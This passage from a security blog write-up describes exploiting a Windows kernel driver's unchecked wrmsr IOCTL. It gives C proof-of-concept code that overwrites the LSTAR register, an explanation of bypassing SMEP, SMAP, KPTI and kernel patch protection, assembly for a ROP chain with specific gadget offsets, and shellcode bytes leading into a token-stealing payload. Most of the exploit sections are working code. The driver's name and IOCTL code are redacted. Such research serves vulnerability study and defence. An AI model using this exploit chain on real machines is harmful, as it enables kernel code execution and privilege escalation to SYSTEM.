<img src="https://idafchev.github.io/blog/assets/images/wrmsr/Decompiled_wrmsr_function.png" alt="wrmsr_function" class="align-center" /></p>

<p>The decompiled code shows that the <code class="language-plaintext highlighter-rouge">wrmsr</code> instruction accepts from the <code class="language-plaintext highlighter-rouge">SystemBuffer</code> (the input) a target MSR Index and a value to write. The <code class="language-plaintext highlighter-rouge">SystemBuffer</code> contains this information as a structure in the following format:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">DRIVER_STRUCT</span> <span class="p">{</span>
	<span class="n">DWORD</span> <span class="n">Affinity</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">MsrIndex</span><span class="p">;</span>
	<span class="n">DWORD64</span> <span class="n">Value</span><span class="p">;</span>
<span class="p">}</span><span class="n">MEMORY_STRUCT</span><span class="p">,</span> <span class="o">*</span> <span class="n">PMEMORY_STRUCT</span><span class="p">;</span>
</code></pre></div></div>
<p>The Affinity Mask is a value which specifies on which CPU cores the current thread is allowed to execute. The documentation says the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>KeSetSystemAffinityThreadEx changes the affinity mask of the current thread. 
The affinity mask identifies a set of processors on which the thread can run. 
If successful, the routine schedules the thread to run on a processor in this set.

In a multiprocessor system, a kernel-mode driver routine that runs in the context 
of a user-mode thread might need to call KeSetSystemAffinityThreadEx to temporarily 
change the affinity mask of the thread. Before the routine exits, it should call 
KeRevertToUserAffinityThreadEx to restore the affinity mask of the thread to its 
original value.
</code></pre></div></div>

<p>It’s important to note that the content of the input buffer could originate from an unprivileged user, but there are no access-control, nor content-validation checks. This implies that anyone can interact with the driver and potentially alter the LSTAR value, thereby gaining kernel-level code execution.</p>

<h1 id="9-verifying-the-vulnerability">9. Verifying the vulnerability</h1>
<hr />
<p>Verifying this vulnerability is relatively straightforward, and the following code demonstrates it. Just define the data structure and pass it to the driver by calling <code class="language-plaintext highlighter-rouge">DeviceIoControl</code> with the appropriate IOCTL code. Set the MSR index to LSTAR (<code class="language-plaintext highlighter-rouge">0xc0000082</code>) and the value to be assigned as <code class="language-plaintext highlighter-rouge">0xffffffffffffffff</code>.</p>

<p>Running this program will make Windows BSOD. The reason for this crash is that upon the next system call execution, the CPU attempts to jump to the invalid address of <code class="language-plaintext highlighter-rouge">0xffffffffffffffff</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define DEVICE_NAME_W L"XXXXXXXX"
#define IOCTL_WRMSR 0xXXXXXX
</span>
<span class="k">typedef</span> <span class="k">struct</span> <span class="n">DRIVER_STRUCT</span> <span class="p">{</span>
	<span class="n">DWORD</span> <span class="n">Affinity</span><span class="p">;</span>
	<span class="n">DWORD</span> <span class="n">MsrIndex</span><span class="p">;</span>
	<span class="n">DWORD64</span> <span class="n">Value</span><span class="p">;</span>
<span class="p">}</span><span class="n">WRMSR_STRUCT</span><span class="p">,</span> <span class="o">*</span> <span class="n">PWRMSR_STRUCT</span><span class="p">;</span>

<span class="n">HANDLE</span> <span class="n">hDevice</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">WCHAR</span><span class="o">*</span> <span class="n">DevicePath</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

<span class="n">BOOL</span> <span class="nf">OpenDriverDevice</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">DevicePath</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPWSTR</span><span class="p">)</span><span class="n">malloc</span><span class="p">((</span><span class="n">MAX_PATH</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">WCHAR</span><span class="p">));</span>
	<span class="n">swprintf_s</span><span class="p">(</span><span class="n">DevicePath</span><span class="p">,</span> <span class="n">MAX_PATH</span><span class="p">,</span> <span class="s">L"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">%ws"</span><span class="p">,</span> <span class="n">DEVICE_NAME_W</span><span class="p">);</span>
	<span class="n">hDevice</span> <span class="o">=</span> <span class="n">CreateFileW</span><span class="p">(</span><span class="n">DevicePath</span><span class="p">,</span> <span class="n">GENERIC_READ</span> <span class="o">|</span> <span class="n">GENERIC_WRITE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">OPEN_EXISTING</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">void</span> <span class="nf">CloseDriverDevice</span><span class="p">()</span> <span class="p">{</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">DevicePath</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">free</span><span class="p">(</span><span class="n">DevicePath</span><span class="p">);</span>
	<span class="p">}</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">hDevice</span><span class="p">)</span> <span class="p">{</span>
		<span class="n">CloseHandle</span><span class="p">(</span><span class="n">hDevice</span><span class="p">);</span>
	<span class="p">}</span>
<span class="p">}</span>

<span class="n">BOOL</span> <span class="nf">WriteMSR</span><span class="p">(</span><span class="n">DWORD</span> <span class="n">MsrIndex</span><span class="p">,</span> <span class="n">DWORD64</span> <span class="n">Value</span><span class="p">)</span> <span class="p">{</span>
	<span class="n">WRMSR_STRUCT</span> <span class="n">wrmsr</span><span class="p">;</span>
	<span class="n">HANDLE</span> <span class="n">hProcess</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">DWORD_PTR</span> <span class="n">ProcessAffinityMask</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">DWORD_PTR</span> <span class="n">SystemAffinityMask</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="n">BYTE</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">1024</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
	<span class="n">DWORD</span> <span class="n">bytesReturned</span><span class="p">;</span>

	<span class="n">ZeroMemory</span><span class="p">(</span><span class="o">&amp;</span><span class="n">wrmsr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">wrmsr</span><span class="p">));</span>

	<span class="n">hProcess</span> <span class="o">=</span> <span class="n">GetCurrentProcess</span><span class="p">();</span>
	<span class="n">GetProcessAffinityMask</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">ProcessAffinityMask</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">SystemAffinityMask</span><span class="p">);</span>

	<span class="n">wrmsr</span><span class="p">.</span><span class="n">Affinity</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)</span><span class="n">SystemAffinityMask</span><span class="p">;</span>
	<span class="n">wrmsr</span><span class="p">.</span><span class="n">MsrIndex</span> <span class="o">=</span> <span class="n">MsrIndex</span><span class="p">;</span>
	<span class="n">wrmsr</span><span class="p">.</span><span class="n">Value</span> <span class="o">=</span> <span class="n">Value</span><span class="p">;</span>

	<span class="n">DEBUG</span><span class="p">(</span><span class="s">L"[*] Press ENTER to continue (OS will BSOD!)</span><span class="se">\r\n</span><span class="s">"</span><span class="p">);</span>
	<span class="n">getchar</span><span class="p">();</span>

	<span class="n">DeviceIoControl</span><span class="p">(</span><span class="n">hDevice</span><span class="p">,</span> <span class="n">IOCTL_WRMSR</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">wrmsr</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">wrmsr</span><span class="p">),</span> <span class="n">buffer</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buffer</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">bytesReturned</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span><span class="o">*</span> <span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
	<span class="n">DWORD</span> <span class="n">lstar_msr</span> <span class="o">=</span> <span class="mh">0xc0000082</span><span class="p">;</span>
	
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">OpenDriverDevice</span><span class="p">())</span> <span class="p">{</span>
		<span class="n">CloseDriverDevice</span><span class="p">();</span>
		<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="n">WriteMSR</span><span class="p">(</span><span class="n">lstar_msr</span><span class="p">,</span> <span class="mh">0xffffffffffffffff</span><span class="p">);</span>

	<span class="n">CloseDriverDevice</span><span class="p">();</span>
	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Examination within Windbg reveals that the LSTAR register has indeed been modified.<br />
<img src="https://idafchev.github.io/blog/assets/images/wrmsr/poc_wrmsr.png" alt="poc_windbg" class="align-center" /></p>

<h1 id="10-exploit-explanation">10. Exploit explanation</h1>
<hr />
<p>Most examples and proof-of-concepts I found online ended at the previous step, but I wanted to take it a step further and actually understand how this vulnerability can be fully exploited in practice. Please check out the references I’ve included. Writing this several months after developing the exploit, I honestly don’t recall which resource assisted me in understanding which part.</p>

<p>Now that we’ve confirmed the ability to overwrite the LSTAR register, we can point it to a shellcode of our choosing. Unfortunately the shellcode will cause the OS to crash, due to the previously mentioned protections - KPTI, SMEP, SMAP and potentially KPP. Let’s outline how to bypass them all.</p>

<h2 id="smep">SMEP</h2>
<p>The shellcode will exist in user-land. When the CPU jumps to LSTAR, it’s in Ring 0 mode, causing the OS to crash due to SMEP. Bypassing SMEP can be achieved using ROP. A ROP chain can be created to modify the value of CR4 (specifically bits 20 and 21) to disable SMEP. Once disabled, the CPU can jump to our shellcode without crashing the system. The ROP chain should consist only of gadgets in the kernel.</p>

<h2 id="smap">SMAP</h2>
<p>But there’s is still a problem. When the CPU jumps to the address of LSTAR, it’s in supervisor mode, but execution context is still in user-mode and the stack the CPU uses is the user stack, which is in user-space. Therfore, even though the ROP chain will consist of kernel-space addresses, and the CPU is in Ring 0, the moment a ret instruction is executed and a return address is accessed, SMAP will cause a BSOD.<br />
<img src="https://idafchev.github.io/blog/assets/images/wrmsr/smap.png" alt="SMAP" class="align-center" /></p>

<p>Luckyly, SMAP can be bypassed easily from user-mode by changing a single bit in RFLAGS (the AC flag - bit 18).</p>

<h2 id="kpti">KPTI</h2>
<p>KPTI is the hardest to bypass. When the CPU jumps to the LSTAR address, the ROP chain would need to replace the <code class="language-plaintext highlighter-rouge">UserDirectoryTableBase</code> with the <code class="language-plaintext highlighter-rouge">kernel DirectoryTableBase</code> of the current process. This grants access to the entire address space (user and kernel). As far as I’ve read, to obtain the <code class="language-plaintext highlighter-rouge">kernel CR3</code> value, leaking its address through another exploit is required. If you’re lucky the same driver might have an arbitrary read vulnerability, and allow you to read it that way. Otherwise, you’d have to find another vulnerability in Windows which will allow you to read kernel memory and read the <code class="language-plaintext highlighter-rouge">kernel DirectoryTableBase</code>.</p>

<p>The presentation in the <a href="https://slideplayer.com/slide/17845751/">first reference</a>, mentions that the <code class="language-plaintext highlighter-rouge">kernel DirectoryTableBase</code> can be leaked through certain ETW Providers, but to set this up you’d need administrative privileges. If your process already runs as Admin, then KPTI is disabled for it, which makes this pointless (trying to disable something when it’s already disabled). Therefore this method is only useful if the target host already uses this ETW Provider.</p>

<p>I didn’t feel like searching for a second exploit, therefore I opted to run my exploit as administrator and create a shellcode to elevate my privileges from Admin to System, which should be enough for a PoC. That way I don’t have to worry about KPTI and I could continue working on making the exploit.</p>

<h2 id="kpp">KPP</h2>
<p>Because of KPP, the shellcode needs to be fast and restore all changes before it finishes. Otherwise, when KPP runs, it will crash the OS. The shellcode has to restore the values of CR4 (SMEP), CR3 (if modified) and LSTAR.</p>

<h2 id="additional-considerations">Additional considerations</h2>
<ul>
  <li>The shellcode has to restore LSTAR as soon as possible. This has to be the first thing it does, otherwise if the CPU switches context to another process, and that process issues a syscall while the LSTAR is changed it will run the exploit again.</li>
  <li>To limit the possibility of the CPU switching to another thread, the code should set the current process and thread priority to Highest.</li>
  <li>The LSTAR register is shared by all threads on a single CPU core. Each core has it’s own copy of the LSTAR register. Therefore, our exploit should also set the current Processor and Thread Affinity to make sure our thread doesn’t get moved to another core mid-execution.</li>
</ul>

<p>To summarize, the exploit would need to do the following:</p>
<ol>
  <li>Set current Process priority and Thread priority as Highest</li>
  <li>Set the Processor and Thread Affinity Mask</li>
  <li>Disable SMAP before running the ROP (modify RFLAGS)</li>
  <li>Prepare the stack with the ROP chain</li>
  <li>The ROP chain has to change CR3 (if you want to bypass KPTI) and CR4 (to bypass SMEP)</li>
  <li>The ROP chain should finally call the user shellcode</li>
  <li>The shellcode should immediately restore LSTAR</li>
  <li>The shellcode should run the main payload (I will use Token Stealing shellcode)</li>
  <li>Before returning to user-mode, the shellcode should restore CR4 (will enable SMEP again) and CR3 (if modified)</li>
  <li>The shellcode should restore the stack in a state suitable to return to user-mode and back to the calling function</li>
  <li>Return safely to the user-mode calling function</li>
</ol>

<h1 id="11-constructing-the-rop-chain">11. Constructing the ROP chain</h1>
<hr />
<p>Initially, I planned to use inline assembly in a Visual Studio C project to set up the stack with the ROP chain. However, this isn’t possible for 64-bit projects. A workaround was to write an assembly function in a separate .asm file and link it to my project. You can find guidance on how to do that from <a href="https://dennisbabkin.com/blog/?t=cpp-and-assembly-coding-in-x86-x64-assembly-language-in-visual-studio">this blog post.</a></p>

<p>In my .asm file, I began by defining an empty function called <code class="language-plaintext highlighter-rouge">__rop</code>:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">PUBLIC</span> <span class="nv">__rop</span>

<span class="nf">.code</span>
	<span class="nf">__rop</span> <span class="nv">PROC</span>
	<span class="c1">; assembly code here</span>
	<span class="nf">ret</span>
	<span class="nf">__rop</span> <span class="nv">ENDP</span>
<span class="nf">end</span>
</code></pre></div></div>

<p>After testing that it compiles successfully, I was wondering when to execute it - after modifying LSTAR or before that. Becuase <code class="language-plaintext highlighter-rouge">DeviceIoControl</code> requires several arguments, I didn’t want them to mess up the stack or its alignment, so I decided to call <code class="language-plaintext highlighter-rouge">__rop</code> immediately after modifying LSTAR.</p>

<p>The next question I needed to answer was how to trigger the execution of the ROP chain? Calling a Windows API which in turn would execute a syscall would probably mess up the stack. Therefore I decided to just directly use the syscall instruction at the end of my <code class="language-plaintext highlighter-rouge">__rop</code> function.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">PUBLIC</span> <span class="nv">__rop</span>

<span class="nf">.code</span>
	<span class="nf">__rop</span> <span class="nv">PROC</span>
	<span class="c1">; rcx - arg1, rdx - arg2, r8 - arg3, r9 - arg4</span>
	<span class="c1">; top of stack -&gt; return address</span>
	
	<span class="nf">syscall</span>
	<span class="nf">__rop</span> <span class="nv">ENDP</span>
<span class="nf">end</span>
</code></pre></div></div>
<p>The C code would look something like this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteMSR</span><span class="p">(</span><span class="n">MsrIndex</span><span class="p">,</span> <span class="n">Value</span><span class="p">);</span> <span class="c1">// Modify LSTAR</span>
<span class="n">__rop</span><span class="p">(</span><span class="cm">/*arguments*/</span><span class="p">);</span>  <span class="c1">// Setup ROP then call syscall which will jump to LSTAR address</span>
</code></pre></div></div>

<p>To find ROP gadgets I used <a href="https://github.com/0vercl0k/rp">rp++</a>. rp++ shows the offset to the gadget, so to find the actual virtual address, the Kernel Base Address should be found dynamically (using <code class="language-plaintext highlighter-rouge">EnumDeviceDrivers</code> method). The virtual address of the gadget can be found by adding the kernel base address and the offset.</p>

<p>With KPTI enabled the search has to be constrained only to the KVAS section of ntoskrnl.exe, because it’s the only kernel-space visible from user-space. After KPTI is disabled, gadgets from almost the whole ntoskrnl.exe can be used, or from other loaded drivers. In my case KPTI is already disabled, becase I will run my exploit with Admin privileges, so I can search the whole ntoskrnl.</p>

<p>The shellcode will be running in kernel-mode, and it has to know where to find certain kernel structures in kernel-space and be able to access them. Therefore, the ROP chain has to start the same way as the real systemcall handler <code class="language-plaintext highlighter-rouge">KiSystemCall64Shadow</code> normally starts, and switch the CPU context from user-mode to kernel-mode by swapping the user GS value with the kernel GS value. This means that our first ROP gadget has to be:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">swapgs</span>
<span class="nf">ret</span>
</code></pre></div></div>

<p>There were no gadgets using the RET instruction, but several with the <a href="https://www.felixcloutier.com/x86/iret:iretd:iretq">IRETQ instruction</a>. This is a special instruction which returns from an exception back to the procedure that was interrupted. A few important registers get saved on the stack during an exception - RIP, RSP, RFLAGS. To return from an exception, those values have to be popped back into their respective registers. To do that it expects the stack to be aligned to a 16byte boundary and to contain the following values:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>size    value
8       return address   &lt;- top of stack
8       CS               // Code Segment Register
8       RFLAGS
8       RSP
8       SS               // Stack Segment Register
</code></pre></div></div>
<p>In kernel-mode CS is usually <code class="language-plaintext highlighter-rouge">0x10</code> and SS is usually <code class="language-plaintext highlighter-rouge">0x18</code>. The return address (top of stack) will point to the second ROP gadget.<br />
To prepare the stack, the following assembly could be used:</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="mh">18h</span>     <span class="c1">; SS, usually 0x18 in kernel-mode</span>
<span class="nf">push</span> <span class="nb">rbx</span>         <span class="c1">; SS (last value on stack to be used by IRETQ)</span>
<span class="nf">push</span> <span class="nb">rsp</span>         <span class="c1">; rsp</span>

<span class="nf">pushfq</span>           <span class="c1">; push current RFLAGS to stack</span>
		
<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="mh">10h</span>     <span class="c1">; CS usually 0x10 in kernel-mode</span>
<span class="nf">push</span> <span class="nb">rbx</span>         <span class="c1">; CS</span>
<span class="nf">push</span> <span class="o">&lt;</span><span class="nv">address</span><span class="o">&gt;</span>   <span class="c1">; Top of stack (pointer to second gadget)</span>
</code></pre></div></div>

<p>Therefore, the first ROP gadget is <code class="language-plaintext highlighter-rouge">swapgs; iretq</code> at offset <code class="language-plaintext highlighter-rouge">0xA18C22</code> (for my kernel version).<br />
When the syscall instruction gets called, it will jump to the address pointed by LSTAR, therefore, LSTAR  should be overwritten with the address of the first ROP gadget.<br />
Then IRETQ will transfer execution to the second gadget.</p>

<p>The second gadget should modify <code class="language-plaintext highlighter-rouge">CR4</code> to disable SMEP, so it should be in the form of <code class="language-plaintext highlighter-rouge">mov CR4,</code>. The gadget below was found at offset <code class="language-plaintext highlighter-rouge">0x383B85</code> and with a bit of additonal stack preparation would suffice.</p>
<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span> <span class="nb">cr4</span><span class="p">,</span> <span class="nb">rax</span>    <span class="c1">; disable SMEP</span>
<span class="nf">add</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">0x20</span>
<span class="nf">pop</span> <span class="nb">rbx</span>
<span class="nf">ret</span>             <span class="c1">; jump to shellcode</span>
</code></pre></div></div>

<p>To make the PoC easier, instead of reading the existing value of CR4 and then modifying it, I replaced it with a known value that works. I used windbg to check what was CR4 in my test VM and I hardcoded it into the exploit with bits 20,21 set to 0. The original value should also be saved, because the final shellcode should restore it in order not to trigger KPP.</p>

<p>With SMEP disabled, no more gadgets are required and the ROP can finally jump to the user allocated buffer containing the shellcode.<br />
The following is the chain of execution:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>syscall -&gt; LSTAR (gadget1, switch to kernel-mode) -&gt; gadget2 (disable SMEP) -&gt; shellcode
</code></pre></div></div>

<p>Let’s see how the <code class="language-plaintext highlighter-rouge">__rop</code> function responsible for preparing the ROP will look like (it’s easier to read it from the bottom-up):</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">PUBLIC</span> <span class="nv">__rop</span>

<span class="nf">.code</span>
	<span class="nf">__rop</span> <span class="nv">PROC</span>
    <span class="c1">; rcx - arg1, rdx - arg2, r8 - arg3, r9 - arg4</span>
	<span class="c1">; top of stack -&gt; return address</span>
	
	    <span class="nf">pushfq</span>           <span class="c1">; push current RFLAGS on stack</span>
		<span class="nf">pop</span> <span class="nv">r12</span>          <span class="c1">; save original RFLAGS to r12, and restore before returning to main</span>
		                 <span class="c1">; otherwise program crashes when the shellcode returns to the calling function</span>

		<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mi">16</span>      <span class="c1">; </span>
		<span class="nf">xor</span> <span class="nb">rbx</span><span class="p">,</span> <span class="nb">rbx</span>     <span class="c1">; rbx = 0</span>
		<span class="nf">sub</span> <span class="nb">rbx</span><span class="p">,</span> <span class="mi">16</span>      <span class="c1">; rbx = FFFFFFFFFFF0</span>
		<span class="nf">and</span> <span class="nb">rsp</span><span class="p">,</span> <span class="nb">rbx</span>     <span class="c1">; align the stack to 16 byte (needed by IRETQ)</span>

		<span class="nf">push</span> <span class="nb">rcx</span>         <span class="c1">; arg1 -&gt; user shellcode address</span>
		
		<span class="nf">sub</span> <span class="nb">rsp</span><span class="p">,</span> <span class="mh">20h</span>     <span class="c1">; neutralize the "add rsp, 20h" from the CR4 gadget</span>

		<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="mh">18h</span>     <span class="c1">; SS, usually 0x18 in kernel-mode</span>
		<span class="nf">push</span> <span class="nb">rbx</span>         <span class="c1">; ss</span>
		<span class="nf">push</span> <span class="nb">rsp</span>         <span class="c1">; RSP (Current RSP points to where SS was pushed. </span>
		                 <span class="c1">; After IRETQ, RSP will be replaced with this one and will point to where SS was on stack)</span>
						 <span class="c1">; The cr4 gadget has "pop rbx" which will remove it from stack</span>

		<span class="nf">pushfq</span>           <span class="c1">; push current RFLAGS to stack</span>
		<span class="nf">pop</span> <span class="nb">rbx</span>          <span class="c1">; load current RFLAGS to rbx</span>
		<span class="nf">and</span> <span class="nb">rbx</span><span class="p">,</span> <span class="mh">0FFh</span>    <span class="c1">; keep interrupts off (was mentioned in one presentation, not 100% sure why its needed, but just in case)</span>
		<span class="nf">or</span> <span class="nb">rbx</span><span class="p">,</span> <span class="mh">040000h</span>  <span class="c1">; Disable SMAP!</span>
		<span class="nf">push</span> <span class="nb">rbx</span>         <span class="c1">; push modified RFLAGS on stack - used by iretq</span>
		<span class="nf">push</span> <span class="nb">rbx</span>         <span class="c1">; push modified RFLAGS on stack again</span>
		<span class="nf">popfq</span>            <span class="c1">; load modified RFLAGS from stack which will disable SMAP from this point onwards</span>
		
		<span class="nf">mov</span> <span class="nb">rbx</span><span class="p">,</span> <span class="mh">10h</span>     <span class="c1">; CS usually 0x10 in kernel-mode</span>
		<span class="nf">push</span> <span class="nb">rbx</span>         <span class="c1">; CS</span>
		<span class="nf">mov</span> <span class="nb">rax</span><span class="p">,</span> <span class="mh">070678h</span> <span class="c1">; hardcoded CR4 value that works. Bits 20,21 set to 0. Disables SMEP!</span>
		<span class="nf">push</span> <span class="nb">rdx</span>         <span class="c1">; arg2 -&gt; cr4_gadget =&gt; mov cr4, rax ; add rsp, 0x20 ; pop rbx ; ret</span>

		<span class="nf">syscall</span>          <span class="c1">; jumps to first ROP gadget, pointed by LSTAR -&gt; swapgs; iretq</span>
	<span class="nf">__rop</span> <span class="nv">ENDP</span>
<span class="nf">end</span>
</code></pre></div></div>

<p>This is what the stack will look like right before calling the syscall instruction:<br />
<img src="https://idafchev.github.io/blog/assets/images/wrmsr/stack.png" alt="Stack" class="align-center" /></p>

<p>And the C code for this part of the exploit:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">WriteMSR</span><span class="p">(</span><span class="n">MsrIndex</span><span class="p">,</span> <span class="n">kernelAddress</span><span class="p">.</span><span class="n">gadget_swapgs_iretq</span><span class="p">);</span>
<span class="n">__rop</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="n">kernelAddress</span><span class="p">.</span><span class="n">gadget_mov_cr4_rax_add_rsp_20h_pop_rbx_ret</span><span class="p">);</span>
</code></pre></div></div>

<h1 id="12-constructing-the-shellcode">12. Constructing the shellcode</h1>
<hr />
<p>For the shellcode, I allocated a 500-byte buffer and initialized it with NOPs.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span> <span class="n">shellcode</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)</span><span class="n">VirtualAlloc</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="mi">500</span><span class="p">,</span> <span class="n">MEM_COMMIT</span> <span class="o">|</span> <span class="n">MEM_RESERVE</span><span class="p">,</span> <span class="n">PAGE_EXECUTE_READWRITE</span><span class="p">);</span>
<span class="n">RtlFillMemory</span><span class="p">(</span><span class="n">shellcode</span><span class="p">,</span> <span class="mi">500</span><span class="p">,</span> <span class="mh">0x90</span><span class="p">);</span>
</code></pre></div></div>

<p>As it was mentioned earlier, the first thing the shellcode should do is to restore the original system call handler - <code class="language-plaintext highlighter-rouge">KiSystemCall64Shadow</code>. Its address can be dynamically computed by getting its offset in ntoskrnl and then adding it to the kernel base address.<br />
To restore it, the <code class="language-plaintext highlighter-rouge">wrmsr</code> instruction can be used again, like so:</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">mov</span>    <span class="nb">ecx</span><span class="p">,</span> <span class="mh">0xc0000082</span>
<span class="nf">mov</span>    <span class="nb">edx</span><span class="p">,</span> <span class="nv">high_part_pKiSystemCall64Shadow</span>
<span class="nf">mov</span>    <span class="nb">eax</span><span class="p">,</span> <span class="nv">low_part_pKiSystemCall64Shadow</span>
<span class="nf">wrmsr</span>
</code></pre></div></div>

<p>I compiled the above assembly and then copied the produced bytes into the shellcode buffer:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// restore LSTAR MSR to point to KiSystemCall64Shadow</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">0</span><span class="p">),</span> <span class="s">"</span><span class="se">\xb9\x82\x00\x00\xc0</span><span class="s">"</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>            <span class="c1">// mov    ecx, 0xc0000082</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">5</span><span class="p">),</span> <span class="s">"</span><span class="se">\xba</span><span class="s">"</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>                            <span class="c1">// mov    edx, high_part_pKiSystemCall64Shadow</span>
<span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)(</span><span class="n">kernelAddress</span><span class="p">.</span><span class="n">KiSystemCall64Shadow</span> <span class="o">&gt;&gt;</span> <span class="mi">32</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">6</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">temp</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">10</span><span class="p">),</span> <span class="s">"</span><span class="se">\xb8</span><span class="s">"</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>                           <span class="c1">// mov    eax, low_part_pKiSystemCall64Shadow</span>
<span class="n">temp</span> <span class="o">=</span> <span class="p">(</span><span class="n">DWORD</span><span class="p">)(</span><span class="n">kernelAddress</span><span class="p">.</span><span class="n">KiSystemCall64Shadow</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">11</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">temp</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
<span class="n">memcpy</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">char</span><span class="o">*</span><span class="p">)(</span><span class="n">shellcode</span> <span class="o">+</span> <span class="mi">15</span><span class="p">),</span> <span class="s">"</span><span class="se">\x0f\x30</span><span class="s">"</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>                       <span class="c1">// wrmsr</span>
</code></pre></div></div>

<p>Next, the actual token-stealing payload can be inserted. I used the shellcode from this blog post: <a href="https://vulndev.io/2022/07/02/windows-kernel-exploitation-hevd-x64-stackoverflow/">Windows Kernel Exploitation – HEVD x64 Stack Overflow</a>.</p>
